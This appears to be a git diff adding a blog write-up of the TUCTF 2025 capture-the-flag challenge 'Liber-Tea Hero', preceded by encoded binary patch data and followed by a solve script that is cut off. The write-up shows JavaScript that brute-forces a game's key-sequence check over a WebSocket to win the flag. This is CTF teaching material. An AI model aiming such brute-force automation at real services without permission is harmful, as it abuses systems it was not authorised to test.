z!P37He`^dVO*xSVT-(iheVrvg>yp!3D162X{CaE0l&cD_9%ks-+t+NPB#J4Xmp|e` zlLSSMNw3oDSlG1@;IB+XqJ@}p1bv54I5(Bx3_H8gE0(e4#09$*edm~=x1VW9fUPJQ zXLiYlS~}T&AX=o3ru~auUtfNZppli%Wm3W#jFrC_Igpnoh*rv?fk7WA0#$og=>0(7 z6yhN0Db5pc*mWV>4F(aMmNj1hrN0DS14Anio(kJrPU1(3OXf0qGqd2( zWT>*`cans6(ev2#<&|E&zkeVf4{L1a*>f{5*T{8U)(yr7Jo;Lum=HVa*N(Oi)p6dz zJ(vD&{EgCse ze$;v{*nN9rcc__poe+CHVX^tmA$Z1mK^r2lYLnfyK)kAB{p`e^o|7M|69w!r43?5f z>1eK_*b=(O4>-t<{T6*))i!%~1QPY!ztkL+dad-9_48iacwgG?midV=raQ(aJN^-MzO?$K@_mZG2km$+jOrT!$-Dv16Y2K`n3EBW!>RV z?5&&Z&ETn9eP^6QgHwnT%b4j|DhT|XmA#*FjpP|b?2?hWiF~Qqz;$~ZUyLxjxA=t1 zzLkXlaVEE8{2^mlg31Ew?Pez$(x&$OI)(VLuOg4%3ifl}l>%#P0$GTbnfg>4oXvaa zXrpE#te}erS}PB%snP`*DTEm}iO)s7o4Jy+Ccn6`>AP_W!B}-LUba4WgX_-m1GNJ* z1RD-;HVACqi9Dt10Nr@Z>rdr0T3&@|ELZ0QvZhG=;p8}br}$_1kdr5ftn}~~4jn%- z9>4>vgW7939IVa<2)~p0E^~UtC6XSKUt+$)iM_=fLIVZ5lVT-LN}o%UHT^U#8%v5Y z&sU-CeQPAC*O^_^RAnCCAfU70>vY-Gf1CTtruS|!y8xls`5Q0a_0SY2?PE*csgAM~ ze!CQ6;H4hkm_$bSJ<6ML(-ZS|+^JA_y$4KqF_P}mj)*aUjZ$+t9S*tq3h(Cf5v=y7 z+Vp3*xUXW`M=_N=@f$ft_1lV&Md!J6sLr@N4AHx2$v5wp95|b+bfBkcQwbnZ&MR63 zE{^S`Q>rL@yuZQxQ0WQqT=~F~j(cL009=0aI+NJ1eZX7*TWF3du04W(VaiS?aV?K} znV`fq%D5MuRc^t$EvGke*K<^)(%5Y}C@(pKFq%>@H_^g$f{lU#4EH@SO+31SrjHFRPkcXa=nowPTsYHh`UN-B5)QB^wH6ty4Z3UyDz%(J0BFkYbYuQou zTD&rg4YzKoso<41(>c<5+1%lCI1xiv9ox5ctL`gOsa5KI4s3x-Y+(ozG>@@&8#$!+ zhbA9wkl{kok<=HPL*#wLEY@IaV&kF?rY4uYuzNgi7*2T5)c%`}>tnG)@w5JLDD$aAEBkDyy03jxz1m@F zKdP^irm@`jLyYIqN{3HlKU$~x(xs>W<%pm-kED#99Y<6BwL$iJYt3p;8vzIpC;+mY zPP&-Fa-RQ6n4$P?^=+#E_R#?rXeWkyF1)oCr;QVCZF3mFmgw(YE|Z>H;1Q4=?4cFGA*tdo}7}%P$7fLC1Aot^%16&kaVi7F3ydM`h!?j z9icRaB3;9KQ8%&UYVnq~?PuUc)ha0=sUNs>rtB?3n#_A4b)9FjThP>MLEE_FzH|Nv zOl_2@Zz^+NFhimLpt>xv@b6+Lrv@3th!^8H1ymu1&;IaU*@qzYCvG1ef zDW~EFdjcefgN@{H{98wEHp?bd7qF_v8Y`go{Sz{AO+5WoN6X5)>IcSm5oA~(szCi9 zhYjAIi1qC4;NAS=pz-e9{D>Q|y&nUWY$WuKqbcKZyb6DK4;w6UC!P-xnTsg- zImjCz3Dpv%T_L%xskyd}q{RGYN1IJ}cdVlLRAw>%I`FUnH_qW(R0Ify2Ol9l#uuwe zSeCSinnYdRyiw(|Ny1*Q)wBs$5`U{SnKvqE{4!6gLB2@*Xf7G5sAu=4a~5S30XYwTE`KMCcro{dkC%7*H* zDlX+67sN1!S{{+5;71+Tj`?Z(v+n0fkEQbAM18wNWC#eYf_M|o4RAk9Wgx!P5UOp5 z5^FdZ%ic%AZe4iqTdI}WkyVE0&xUzzm;CV__2Gi#7g1iktc~LSt4m6W&%(ZC*6c=_ zH(>uvjm&n*dbK~fQ8Vsp4ugU76|sQTjvJHsOvUvCvaBwvq#u0q>T{jzkhRO!ex{W+ zuk~yiL&4R6ezD6Yy835zA7$L9B!2iZ#^qWluP)^pHfgEnJ4G5ylh5bgX!M4Se+ z^ifa1fz_>*zuQhR$$Pas75B%rqe}E4eb3(y5vqsU(w(GWN3Dt-*!CoihR$q}#46|_ z?fF1y1h*V&_wMRacjFp5B1@iM0 zl@R~HQ{ovoF&E>U+-g~OdX5u?o2n_Px=%;p2E1MQ$3j)Ekw(DO8Us5=kl)B`_X7s# z2-|E2McIhA%}2?yNmDN7vgtO{s61M^$f~4#@4$C&$y3g0tIM82K5YwC9x9+zxUQg$= zU(oHDfFBO_?E4S4nkMJ$Y6<9=`w7>5;G=W{Uc0r~iC>u)HK@NB6h^w{Y8rp=Ab~W4 zTU!%9!Yz)7MYfAN8Y))Q4TOG-G7jb`YAux6AH7PxkmY(VVsF~?WF*|`1RSYhM|%Ga zNY^O!Sf+@2kN^@$JV4Yp_@=GrQ{Af*ld4qB<@b_&C~nO8$5k0t<_9VbX9pvM7TQ`| z^(x-T)jbE`*XuB+`WRL&1!sS4#nxDe#?87Nb4(~;QW$tMFKR`bt^CJ`1b1*c!Jo~z zaFB8K#PN4+WJQaQhxljJne6TAZgYm^vuaS^0t)@XvX;#=^Fdi)Ib(LSy(tk*rHU;_}nZ}=nxgtO~pT+_e>5D;Y$WW_SmKsT`E6nQs@B5FagFMK;9NgYjY zknb^N-F1x2)06{Q5&m}}a4aU|o;S+Rcq7^TJY3G{P4}`=0qa>)@xuMByL4H_C!;*p zZoVvS39R0FuX*N#Hn^u?t1tf-U44j&khKD>MRqu>_O6pMbTRlhNH1?SY*-Y zyb!nOQE)7}sjlSOo4qxvl@CS31gD|^J=_$@Obz`8%b80V?TzKKdRG6HMeYX~iQj;5 zVM!!K{s#K~n$>r}X-nN%?DV>Wc!Mpc!~4J>yCfnw>gai?3{U0=$>y3%xaSewBuJ!! zMBg8g*Kh=k7l-`r)1kZyl})VS=_gpFT}~uQ@$z+JDm8EshKYMcSWHOH0NW=0F=6a$ zsq97s8F@#-{a~5Gh=qASg(o{45li@jj|@B_v>nBbC){*v?Df9o(NPFgW-_<_Z}DJG zs0{n7zYi-JGL1x##XWiY&`=bkxJXxTz^B)0#pZCpL*~H%QDf^rri7&gWo-r z*<53O5`k~(9nv=AmGmClNrqzy;jv7Bf)fH$+K`jSf=p36hUoE5M}>{>D;+kVW)vy( z2dHVyXw4`WJ#nAzC>HYU#$X+XwlsJ%h?=v7I`z#aaWmqezW(<>Gm8SWEHM)msT^=Ah(F4KD3$)>Rc zQ6H6Dr32_5k2{@3yUskwu-ZF_Ru_~96>OatU{>xMZ_?mYuOJ=`)t#faaJ|hSohga< zdtr$cSVBHe4Ze$x(emiOH{URMDm9zyC&qhA64P)&FAKQ1W?*|z+aolw*3ck*urS_- z!|O}A$)`ExOv*U;vj8b+aOJ8NK6TPD3;&1qLe@XLHR)$f`u$I`wH(}Lghu|KVppnF zfGUE;hN1sU6&TRIXJK^fNLB`rtl-{hxFAeI-e@`Vb)(ko+M$cpi|WxLG%bgx>pZ7( zL$*Sns_dC%^#UA}czqly8_z#oUnp@VA7*$>>F%AqNzt-DttmCu+p9=FKhYIDjj^y< zxr+$^(gSVq_hg-$Y(KRjLnQea_7KzPu@vpAm`9KxTh&`d4sbSi3TU@ z1@#V-6h%1?z#*-(sPxLMPA3v_Qyo@ApTdd~m1OUsfUEBx-O36Fq`tixyd8Taa%W(z zs^HcyvG9I0LZcFrDqPTkBjq?`03K3B||G5O2`zFJd_cQehA~G8|-o;^)t8kHv3w|U|&Ttmh47{iy3L6 z2XUCnx)BOZ*G-TmHq+~<9ec+J^?nbQz~WnII6-=Ij9yZM@5mbsYvat>2@3|^GgbM% zPS5gmcy`-jaX=+cCS^Fm(d0IRj7JHuTcY5Uz+~VDnS?O;tf99-x@VnS8VTa~ z56eeprroh89!Ih3X!YdV?F8AYHeJ@+p)weOtP3&(9(@rD-dHUQ&y2C5`!g(dQNcMz zx$wk{O|c-SPh|V(WWl|xJdW(8xAjN!r+ZJS=^g{(8a(cph3YPrl!7Ff9ou%ry#x|@qpX86RXTF zy@H>zY9V$fXXuIEHF@d&+vgMsCIB;-ftr1W#pNKAB8794k47vbn%E+1w(ft?f3kwo z>%aTXnkEWsjTi_j<15Q!Z7Il{W?e~e+M(`>49)E@q5ihQeue5CpfGF5g3$SV9%o%D z$XtqCb88YL-Bgdon)c~TuC0?MfC3~pbrdX#|rDH zAEjG<4Of7YC?%|oSNFt+YIK@n^yk5smh+;&(7xMo0>7ashL>h4LoT$#$A9&tEN%i% zAm-xSs@(old&xLSkGA--t8bZS{wT_k&TX#6D2yR^OP>*YnDgPiP7k55eLV)~5Tt=!0?Cgo37 z8s0M-3}8>XHf&XHGzesux%d>t)}!QcX2w}l=i)-G2~)W@$0P`+ zN7`WmmcJHu4(x~1a}{Uw*oK4PJK!Q0ja^$B0uz(|YSoQ~V1O0q z$ZELZCc%d9Ls0EX^+{Ff!L%-O#_vN|2}JLz;j4RefdI;g32dJ}n-= zpe<co_fo@laqn$Vv(dMb&@G)@neusMqb7pwKb*CcE*Ee@^vgEmXvh z?>7Uq4Jb_~HX_GH+&?OKL9*p{&}l>pbxW2e)!-)3;0FD`KLO29eSICjI7%Md*4N0e zfoiZ0l(Jsu_(<(0M5jqoA)Rv9C$S2cIG&bn6^^rhSCbTMXvpmEeML}xs$46Je)6O> z2wn`FwiEA1vA5%}Cxt|?_NKx-g2;tQ-!%D+QtNH1x8MTrkk>_CdY4XWjk1$I(#P90 z6ls1iyf?r+V2wSaUVSNqBb%ua2IdIt;I4>P>lL7pl;r_Zv{pYWeuqd@3~s~I(| zLBAEpf5QEE)gYVIpWZMqcY;qvkvAYxYn`54KY|i>(R+xUDayx;bf^QmE?!xdpIY~S}L!XwOg4YXTn<%!g#pj#YvDw z$->0=P0j7~=Y@NN<6^J^y~_&$vuf@M+bM_G`7C>##{R30vf^Z6LQcM(@dB1yl^4Bu zq!2-BsuEBVOfr(Uvku(7uC~C;9iFH{4tc4*l*#}-7tBu7( zf*5ELX-zxb&}PI-mvU`!l9S@{UR-t+viAI+&f}j z&iz%0pZg#TB!an^2w;B@phyNO8_vK~l*i@a#tGAmgdIf9gw?+!l* zF#Q3i(ty5S{>F>0xDbeTzcqEd7E{v~~8sSb16Lj#3Adg7d4h0At-UYN<+Vs&By zQ{lf++Dt!`E_Busi0iVmqOa;z6vE~CB=4FFMl1q>AT&e2TD*_Isr_(*|5TnSqs(R# z;}dT~5E(eX4d+Lz&Y#e0LKGft&O-|4t|y|3)(u%@ZNgfe)HUjxJI-sLJWUR~js6B@-Q6(PzK3oCIzp$W$;UG^uTtf4)S+z=BEV8b&BJnLa!@2h>fia`Qvc)VPCV zE4!V5uC|BL%i}ZGS4+{$ zjT9ydTt<#}KTR1}oX$|`{>nF~L0wPe|M7fXpsSGPjxbgy8d#X;EV0IGm3H@Ztkix; zVuq;Zn`B`X7E@sHd%p8zlUBX_n9606T@&K%Iy*M4B(N9~}{7-{0fE4)BsuAgBNCEo5j^Q-Z!Y7R00NZXX+oAxglN(GYlC{cHdSrX%LG>^LQ2vKBEW;IWp(v`htlUp&3A%HEU;gxgFavNbb13!AtUA~D z`8FbZnEYbpv$XDnL#U5t^GDE!neUn1Ma+VrW~I_POpj~sP;a;VXBKG#G?y^Sec^!w zBZcDJAjeyhN6WcS=uwz$zH>(9X&zxxNQWjvzi7gc$EV8Csvq)YSmv61|6(&0#H!ap zAHx*Yto?x4O(VY3KS?4f!Ncews5J-AsPliQDKyu1cUiqsnro6YVDMm#68))To8th~ z#;K&R>LE7WvNrXcWNy5B(kIGYO?M_~bn@@OERoY<=}s&z8rR+YMo*`e7_9kllAeZ6 zrmL#b#ARoLHo_bf>TMDP=RjI;twL$ec>7iL{iz7j;x)(kSyRlm>=`G-o2l_oHETq4 z;@nucjn)wHzT>R9&JYf)sAU<6x!JIZ=P($*&9(6jQ>eJ90`6i>cbjnC-s}d*A3&G$M-}cG*6~>b7 z&b^`4%B@ui^_>g2E%gf+7^uWc7nO(WyE~QnTH|?Gu9zXQ-HJHT66z^%+~Kg`mSDak zcY=UU1r2a?0KtL7)If7zFt1jo2cut|nh2kMXZNA1`zZ&w7Zlu!X7sTcI&AXN*Q+-> z&2=eCu2~!MI9SiyAG*j&AvF)oA62vyq|11qMjcHCKbK4l7PtR9Mik}>if>BpMhi++ zp`E2R;roq$YuG5VSuUZYX?T4!#c}T>c1Rd`VAMP6brUIc4om(VQ}S)bhm_K3arEGO zkb8g`VT04FNhvqW%Tz5RF)8|}-+$)dZnv!I-)10i zJM1;zZ}s_PwTW(#=s+F-varR1b_h^z?*yaCnSD`^>K+P8Y>2U zHI}18MB>n3rU(#yKdgXLJcd(UWPMlVE+s8dUoGQ%rA1DOJnZ2I-O#V!|5=Imgd!RE zZb-g|>y^^eR7Nbn*Ss&@4`uaHzK#a)$N+OhvG_#NDW!}ofq3Z_Gu4m#>&LLy3K{la zSGH8aP)?mkrt#ka0+PWj1&OJo!V4;af6b!ASi1~o1JAb0Sd%B0hEa>_5*}Uqj zaEd&x0C!koy?KV`Z{ow#rUjb|TuF}(r@HM*=K>q@Ys`u3J~qAD`UDTj(_>pbHZQxc z#KPv~f_u#Z$*B%CJtDWh^rtye7X?c(vW-8z=3Gb8SKbj4szXTyo!=(Ack1+}@Y(c% z{%B>yJl^qwYgq!|>|etSo93RX^yJxdRwI0m*-7q|irk*xUFCKG8%4rNqFd+mE;kM< zsbl#QPc9=t!#MXzBT@_H3$N`8vz1!$`S?F$gMAZm5DHsCvD4YG6@8z%NA30JN`aS6Y_~1uN`+KFS01!1aIP0 zFB?;j>)ol_HsxsgJ@9B3e}8FoCTcw3$n*F&dh71qPYkY~?_Y@#XcTB#>3=`{TDRlP zrFI&Dh#%+>Tx%9cwaD9fDJNsi!Y>QX2}BPG)~6*YrJ@LphH1hHw935Kht@$Ysq49HF`5@sRP@Pf>8AH!X1~RCS6;?_8Zu1b zqdR3`4PuR_;udwTt~+9;2DSHT$>{st$a_GG-<0!_Oa~|T+w4uXH_9#C)~7fAb(@=2 z0=4coXtL?3qziW3T2rS7G7H1}|lo&L5XG>Ioebw?Td{ z?5##aX-f8Y0)%GMoDY2Zh}A_JiEyK={iatRsrAuDiJ1Aj-Ix^-;dlt|^0qxot1j^Z zJ=ppRvN4@L9Tt=YSWvd-_c4my44AL<-ktkdqH<;VaJ+88&(o8qxMOqMVPOKTo$~6J zZkg@*1D??bAJ<0~cC@8VXH5uQM*2L)!{(iuZY$15?}{mvh1l7}I+7Jk8C}|aiygcx zVokuI`$wOx+|E=RP1tJq^Ybh|1s?W*3e}#p%bu`4HDytam@Tlw!tlESoa{G?#pkbj ztU8iOZ{34xHa19ES}JO@6Kbi|-+s25w={@0)z>R;?W7=#v?AYZ2`h3Ig<0hiDl_We zZi~%>=2~|C=lNbn{G-$76g~q}&OP$x!am}@XEELS@my2{pqL+694h>|XWT)LNH=OJ z2CCTKvfA0qu8O&o`W%kyRB3O4_F}6^nDqhg1vl~n`^aXD3HdgJ{Ex@zSEe`Z(HA;* zs}KFl`uOAeKBwCL(JqK@tkp}@!De*1KCVh$m#yz(Dtc?uaHjucr{uDKXQfcRuq#d= z%=}}ESZkbhu$CvfX&lw7yc8R#kgW_dR|= zbo*qdj`Hz@?xhB0Meg=}^}IYAPcT}3TGqWBbHg!qhl5qQhih;9AQ{gvEA17u-s zx|XHR{wJeM&jVuG68CC5x0&V@c}ZH{@I}svg$;e(`R}Ji9M_oS0pT?pDWtkpU%PV; z6^@UNMh21}38Wdmo2NJ0`~~e<(n|>H7s#|olv}ru)hTxH*%ULs@?Pp?t@IU}1yE=? zZ@y_DV-_-Q#%%qw@2UF}IB$T0&g!-#rnr3&+U)l4d>w60_{7bkOxZips8Du7de*QFLeJ5k-UADFr-@jTN+x?6&$ z>p`~o&AEA5&0Kq5cIC{{rMSpMM9+c0^;n#W%`yY2!`jxsWNMbcfEeK&sZuFpo1MhevfVM(vm{ zMV2A)Mv_6(sBNBvoa?g2vJmzQMg%p_X#4e9MVO(;@)(fZ!YFK zuTB0e{1u%S_e+iNTQ?hGHA0iAo+5+9z-u_>o=r!M1;a+n29+iA~)`Y+6?HM}7 za@kU9ysSVd%WlD%P+ZQ5p;L1)YY%#pu5o9lHMNfE``n*fdBC<`uoR{?E7z$Al`F6! z``Ev_bbD@jic>QCdDpH+#o{YF&|ke?yUxDQq~P&| zn#$@&=#Rq_k#Vn!n^W@jA_P~A5J5w@{Os-Z$z|bL!$3Of?zhe?4qrXy@wvkxLqekO)!b3%L)+!2%QwMdYA0!e-wXOHCmg$sX9^LyX`T%Tj~9E zu;TNfuCeRob`^hSdEvlxv4jNgjvHn%USE7JXBzx_><8B-Lmxr^T=O9^}I7Su?wfdwp#4vnb?# zZr}AkPBDbY5!ILud5(5$=X|pCsL+4#N8LvEv$7<+?#*nn;1Yb|f@O$=&zcYKXVVng z6Ac60^7e1JO3Pz`uh`YSC;J-CHbS{0#m}dTf9_Y}L|jf1aEMl0#LONN<9Cw0p)Eev zy&b_&miNH`*Jae$>qrGPxv&764PZ%gR1 z6Pr2x7EStlnqF+&duFC>I)IwqBs9TWvis$PEPklsSViagqr)MoQtj2UmJRxs6MY`H zHjzE4Z&xhrcKeThE|~l8W#6h{SzMiGUzYS+fOp#W=I{Iv-YrkBTaZf=P}p@8KGEfj zS~%~w6`;`lt<{2m7l8m#Ek?X9#*!7;CvBEd@=rT@6?nvlIjmn(U+(upCY*Cq*IA24 zccw@C)C#q&RYr5riN#;|2X9BJC6#&F!H5r99PHG z4Iv1j>3jPDuA2D4{CQE;JQ3rSbz4N8Y@NqWz%P{vNRB#{IK}g_kOq~ok3@F0>oW6Q zB725ZC;v}-XC4pr*2nQ%>Z+cU##NCevXu~xXC{mp4I|rRDNVzm?4xWMGQ_o9%$>&7 zxJ<}S#xnMy#u`zVi-uWjLy~E7pg`v3X+IscyJ^?Uu!>zvm)-_Pg!K3C%p zbf?_HI5TyqXPYxH$0G=bATZWa8AnIf88NjsJz<))!bu+yl@B*q58EL`f;F){kA{M^ zxH@=(bvKz&>RiWr54hFRGOy)()Q1KR+~DD>OL4}Cc0eA&_0mmb=H>aZa8_b+%F|yv zNpTd+<(K)%waeA*qCtrzzXZ2!FQhT;EuC>|f>p2O+zN%GXoXgyQ(=ndX2BN#2^~7dY<^k9l9tQEX-rpfNob#P5g3(nxskRAx6l zF5H;3GoRU~*8o&76Rh@qHUVQf^)oaObIo+a)k=p|DNT1;(7Pe~RnR$-nNUW_inE+` zH{#k}der?QMS17KzP*R{6y6<)`Xo`5f{N`?jtb*HdVMX&Oqe2;r9$xn5RIcfVAL%hSp$z$n@}!E$@=#zn-@8 z%avr0U3574IPC@+pnxTzd^+Mmc>mcxXxY@*p9QC;D(t}o=5LYfsEt-@;uD5eHeI86 ze)(~F2Qk^fChtzF3Hlk(qef~iNiqX~{(|xaJiU-H3fwBrB4nvXOa~Y=2Cl@&?`8Yk zw8f`m%AkZ-voBtH8PIEuN$3a4GQw@3M0VpvRClS|UcjV#uKm#j>G2f4!_&M7k*YUq zMZi37iyweGdxb_59D%5o1L?zCXWA>kQF#1keQi0?IYg#-BJ-3*pFQ`ca6Y@(Y7pM3 z8{GMQ*2L0fKR?KOF$66XZ-dm)8Z0c?0e^(<&8g`BGzHc-o`!8GmbsS!9WWkr$!X?- z6Kw(eOIe7a&*O?erNefOC$Z1&u5Tw~Lxr&A3>!)f+JZf-Hc@m6_O&0S4vEa#3QN@o zL&Z-kMRkT$7|H!S+XRP2yF8JNjjWc9|4e)^%>Yfp7g2@;DV)S-vAG8rIFq2j?Dyu- zIT4M5y0AsqDiqN)YIW;a`tLcnsXEx*^>i3C^HA z{jP~;<9yu3iGnIS9efQ%3W6`V-J~>IVufYf_!P>If9&XoW;wYyIGwt(FML&*8!Ix& z)~OVpRBzDb7$RaTrfs*6k6nSbyc1Kk)|u~3u~GMhNJw53w6WLhO5;5;N*t5#FT95z zhn%Q$VG+5Hv(ZSw-Mqv50lMiO_)mZE1CDo5{aH#hG-6U$P((S2gByCS%{bKM2Pkz0 z`Fdg6s6(8(4{x>3BY~r^CB5g7LpIVGLsd1Boh2mTyqWip$uBrVQ^e@xnniIr~(!dB{ zg4!unI@2*u1U42p;Thw_Q@3fqk5L_(#;U@>b>dWEfDJ{oG~z`DcW(Jwl2tHXTgOPM zGM)|gN^yzRAOx>6@3Im^1xK2TDu}N@H;v(24ad6c)**|G{kl$zF#Tj}3FYBp#`b&?qoV)~-!r z_`PBZRi%5w4a?GHw4!xWmUok_obDG#i6Ee%&!y>U2Y#RccxMxQF85jL?Yn)aGWGFi zd+W7i@J80RYG&$dYgaaeboY4XKa4f(RP6i=ij9+dJ$o3<0#4XysG7~j#z;4> zl%A+yBhQ`NmwQr816dx>Fy@t)*6T+{Y?VLc z7u`InBy+q{!&l@)BGX6jTFrQ1Gf&mI3Nl>Ym?Lly1X5ECdyaAh;G~5@r(KZwbzTdA zz$nkEY}ct9R74SsB!uB9KPK6z=3wlkT1A>(T~ zK9ZcxyO~9Jse#jD4=cm-sW|WaQ3(vlJaEL@Gr1!kXoRu|WM`Wycws z=(_x(TSmyB@2=}OsQqQJBepQF3aR(Z zp&sTYR_ccOGmnpZuQ{cUp-wD0+=D1Z=x(8Jzv*H$ORt^MJq{#V7r}_v?8J9yRLaDxqv0${OWQPZ|0j21{Khg9Y%b(vXUb*4^|GLKZM+A3I5J`O;I#WlV99_=dZI^q z_d}3a$Gh>BiFWna{M1zPDs9`hXg%NExmJnnvAR99Z3sC?7|vg94BKJYKOI>ryDuf* zxipxaQg;k_p=XoZG|8P2#a&5SP&&STQ*)i5>f^6 zR9az8JtAUk=VTh($en5>rtnCHU&5B~c056*g&6j=>|8H@18+LLo!rVrO?J~7Ec;id zB5E-9W|$@XdD7=4-RaUWFqD;bh3o61CX3g_y(!EW=JbT^fV>_VQyf(jl>%Kr@Vo%zX1aE| zGwx2QpqL|O;kd_33}qMb*U1BKsceVI5M4RCeLAV%i|ssGx=AlJ3+QF{@FAI|x6fwcIK5+~rmTf6-Apk^OM zEA@?I&d2J+6NE=lgttpP>@n;H7}0RR_0`~#;y%bF<>ioS2_M$YFPZ$T+sq@}ju<&xj`7n;Fnd01KVe3P?1;ZN+-U@iBp*eHA4YVjHAC})otv2TX0VPQ_X zWro_E(5ES@np56|#DPK@{bj_z)x{lRIlnmvmr_>$rg&gazRwLBhp4FlC1Q zu7uQo6Le|lBj1&fexY68lA>Dt-8KGi&GftwuJgAMOZ=KJVL}^|Rq(x6ppfJt4g{wj + +> Hey there diver! You haven't completed your annual strategem training yet! You want to be mince meat for the enemies of managed democracy? I didn't think so. Hop to it, or I'll be speaking with your Democracy Officer! +> +> https://liber-tea-hero.tuctf.com + +The URL leads to a website with content similar to the screenshot below. Pressing WASD or the arrow keys displays that an input is either correct or incorrect. + +

+ Screenshot of https://alien-interference.tuctf.com +

+ +[A Discord message](https://discord.com/channels/1308853321959870515/1308854880282218538/1332847258219315270) notes that we need a score of 250 to get the flag. + +Viewing the page source, we find the logic that controls the input result in [`controls.js`](https://liber-tea-hero.tuctf.com/static/controls.js). The code sends a message to a `WebSocket` with a time limit. We can guess that we should input the correct sequence of key presses in order to pass the ``current level''. We also guess that each image displayed corresponds to a fixed sequence of key presses. + +We can easily send requests to a `WebSocket` through the Javascript console, so we will write a script to quickly brute force every image given. + +In order to answer queries quickly, we keep an object `d` (for dictionary) with the key presses needed for each image. +```js +let d = { + // ... + "data:image/webp;base64,UklGRpwDAABXRUJQVlA4TJADAAAv/8A/APfBKJIkRVV9zOf2fN+XxgbbSJKc3Mz/oyEB8jcJCZMYtGAUSZKirtrdY7Jz/i3dD+c/iGwjAAUqAsMfDQAAGlUpzukQZaD8QSz1rNKvtxP1TLfj3qgCAFFRfdURCAQCIwBRAkFUmyv2qv077d8M36zmyz5t2lz1VadJxTosoppUCAQBAEGU4F4O2QqeuNaTgqK17W3bBiITxu52mr0026JtdqJSWbj/+4IJavz80a3/+7+I/k9AOPv/7P8zHD9/mUjqxSbzfKk4Fa4X+DQ4NOtT4NCty+fQrkvn0K/L5tCwS+bQscvl0LJL5dCzy+TQtEvkUPDdAkR5HIV39fLpdgGiNI7C25/0Ql4VIMriKORn6sXMrgrgkjgKaWaqsTsFcDkchXdMPcYCuBSOQpqCjAVwGRyFNBUZC+ASOAppSrI7BfDTcxTeMTUZC0SlKcooEU1VRnloyrI70twxdRlloSnMKAlNZUY5aEqzO1LcMbXt9fMQbSSHaMeoOhuy0UP2v26+ffR7RcwAZC1JLBd9AsCFhZbk/vJv7ttvtdC0WbfeMRWT3h3m2itGV19LdvMt0p634IGuvYq/au7e4n06+Nun9w4E3MSNH/f3eQw1sVy8SkdsXB4CwHf72//UPXvXpxPkOz/A94pyMp30FvP9/KCjBy+ZhCQf6Kpl55vXSdzXdG+poz/6JDZdR0n0vy/I+P/WQvFQKB4Kxf8tJ+c/t0LxUCgeCsVn/539908zds0sm3nHIXozy2becYjezLKZd5ycKBu6tsmcXSp0NpmzS4XOJnN2aWoihOu7NqP3JfQ2o/cl9Daj91MTIR1W161S8eq6VSpeXbdKExMhHy4zSyMtszTSMksTEzEFfcYxzDiGGScmYhLwMMDTaA/wNNoDPE1LxEQgIO0xIO0xIE1LxGQ8xz6eYx/PMS0R0yGiRBGVF1F5EUr7WowIkedbubYcgBQOqSkVQ6EQDsFfSOSh+LMIEbL30jDoeyELg8YvN3JsLaj81oX1MmztwnWWP5HAgvLfnJqHCtyeUh/qcH4y/SJU44vTeB5qstsdXx/qsvX17rj6RajMpmX3/Jieh0p9dyxvQ70++3AMu6ehZi9/Oty6C1V76+Lyw2F2Xcu6yefb/b17Fip5vi8PFd3v4+dQ14t+zMevUFnAL2VPQ41374fMQ5W37paZO+ts1rB7nEBvm1mdnf1/9v//uQc=": [ + "down", + "left", + "down", + "down", + "up", + "left" + ], + // ... +}; +``` +To construct this `d` by brute forcing images, we'll first find the first direction at index `i = 0` by brute forcing each direction `directions[di]` for `di = 0` to `3`, then find the second direction at index `i = 1`, and so on. We'll store the correct directions we've accumulated in a list `l`. + +Let's first define these variables and a couple of constants. +```js +const directions = ['left', 'up', 'right', 'down']; +const t = 10; // Timeout used to avoid race conditions +let l = []; +let i = 0; +let di = 0; +let guess = true; // Indicates if a new guess should be made. Used to avoid race conditions +let con = true; // Used to stop the brute force +``` + +When we run the following `bruteforce` function, which sends the next direction(s) to try, we send the list of directions recorded in `d` if it exists. Otherwise, we send all the currently recorded directions `l[i]`, then try new directions `directions[di]`. +```js +function bruteforce() { + // Setting con = false in the console allows us to stop the brute force at any time + if (con) { + if (cur in d) { + l = null; + guess = false; + for (const x of d[cur]) { + sendMessage(x); + } + return; + } + + if (i < l.length) { + sendMessage(l[i]); + } else { + sendMessage(directions[di]); + } + } +} +``` + +When we receive a message, we'll want to call this `bruteforce` function again to send the next guess. If the message is incorrect, then we need to resend the recorded sequence of correct directions (i.e. reset `i = 0`), then guess the next possible direction (i.e. increment `di`). +```js +if (typeof message.data === "string" && message.data.trim() === 'false') { + // ... + + i = 0; + di = (di + 1) % directions.length; + if (l !== null) { + bruteforce(); + } +} +``` +If the message is correct, we can add `directions[di]` to our accumulated list `l`, increment `i`, and reset `di = 0`. +```js +else if (typeof message.data === "string" && message.data.trim() === 'true') { + // ... + + if (guess) { + if (i >= l.length) { + l.push(directions[di]); + di = 0; + } + i += 1; + if (l !== null) { + bruteforce(); + } + } +} +``` +If a new image appears, we'll add `l` to our dictionary, reset our variables, wait a little bit to avoid any possible race conditions from other requests, then run `bruteforce` on the next image. +```js +else if (typeof message.data === "object") { + const imgElement = document.getElementById('dynamic-image'); + const base64img = await convertBlobToBase64(message.data); + imgElement.src = 'data:image/webp;base64,' + base64img; + + if (!(cur in d)) { + d[cur] = [...l]; + } + cur = imgElement.src; + + l = null; + i = 0; + di = 0; + + setTimeout(() => { + l = []; + bruteforce(); + }, t); +} +``` +And that's it! Modifying `console.js` to include these bits of code and copying and pasting it into the console runs our brute force at a speed fast enough to get the flag within a few minutes or so. + +Flag: `TUCTF{4_S00p3r_3aRtH_3xP3rT}` + +The final solve script can be found here. We pre-fill `d` with entries gathered (copied and pasted) from previous runs to make the code run faster. + +I recommend checking out other writeups, such as [this Discord message by `fr0j`](https://discord.com/channels/1308853321959870515/1308854880282218538/1333155195911143596), for scripts written in other languages (e.g. Python 3). Join the [TUCTF Discord](https://discord.gg/kUeFHD8Y) for access. + d \ No newline at end of file diff --git a/src/content/blog/tuctf2025-liber-tea-hero/solve.js b/src/content/blog/tuctf2025-liber-tea-hero/solve.js new file mode 100644 index 0000000..13bc9fa --- /dev/null +++ b/src/content/blog/tuctf2025-liber-tea-hero/solve.js @@ -0,0 +1,482 @@ +let cur = null; + +function connect() { + ws = new WebSocket('wss://' + self.location.hostname + '/ws'); + + ws.onopen = () => { + document.getElementById('status').textContent = 'Connected'; + document.getElementById('status').className = 'status connected'; + document.getElementById('input-res').textContent = 'None'; + document.getElementById('dynamic-image').className = 'game-image'; + }; + + ws.onmessage = async (message) => { + if (typeof message.data === "string" && message.data.trim() === 'false') { + document.getElementById('input-res').textContent = 'Incorrect, Start Over Diver!'; + document.getElementById('input-res').className = 'input-result incorrect'; + document.getElementById('dynamic-image').className = 'game-image incorrect'; + + i = 0; + di = (di + 1) % directions.length; + if (l !== null) { + bruteforce(); + } + } else if (typeof message.data === "string" && message.data.trim() === 'true') { + document.getElementById('input-res').textContent = 